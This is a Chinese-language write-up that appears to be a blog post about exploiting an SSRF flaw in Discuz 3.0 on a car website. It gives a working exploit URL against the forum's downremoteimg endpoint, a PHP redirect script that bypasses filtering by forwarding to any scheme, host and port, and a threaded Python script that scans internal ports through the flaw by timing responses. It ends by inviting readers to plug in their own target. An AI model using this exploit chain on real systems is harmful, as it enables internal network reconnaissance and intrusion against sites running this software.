前言
记某汽车网站的ssrf验证过程,发现该网站使用的是Discuz3.0。
原理
SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。
那么SSRF 可以做什么呢?
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网Web站点漏洞的利用
利用exp
http://localhost/discuz/forum.php?mod=ajax&action=downremoteimg&message=[img]http://127.0.0.1/302.php?s=ftp%26ip=127.0.0.1%26port=%26data=helo.jpg[/img]
这里之所以要看302跳转也是为了绕过,这里不多说直接贴上代码
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
查看302.php文件的内容
访问路径
执行成功!
附下手工判断
这里如果存在ssrf,并且端口存在的话,页面响应时间就会比较长!
python脚本,来看下:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import requests
import threading
import Queue
import time
threads_count = 2
que = Queue.Queue()
lock = threading.Lock()
threads = []
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
for i in ports:
que.put(str(i))
def run():
while que.qsize() > 0:
p = que.get()
print p + " \r",
try:
url = "http://localhost/discuz/forum.php?mod=ajax&action=downremoteimg&message=[img]http://127.0.0.1/302.php?s=ftp%26ip=127.0.0.1%26port={port}%26data=helo.jpg[/img]".format(
port=p)
r = requests.get(url,timeout=2.8)
except:
lock.acquire()
print "{port} Open".format(port=p)
lock.release()
for i in range(threads_count):
t = threading.Thread(target=run)
threads.append(t)
t.setDaemon(True)
t.start()
while que.qsize() > 0:
time.sleep(1.0)
能看到在request.get(url,timeout=2.8)这里脚本以上2.8超时为判断端口是否存在的!大家使用的时候直接修改url处的利用地址为你们的即可。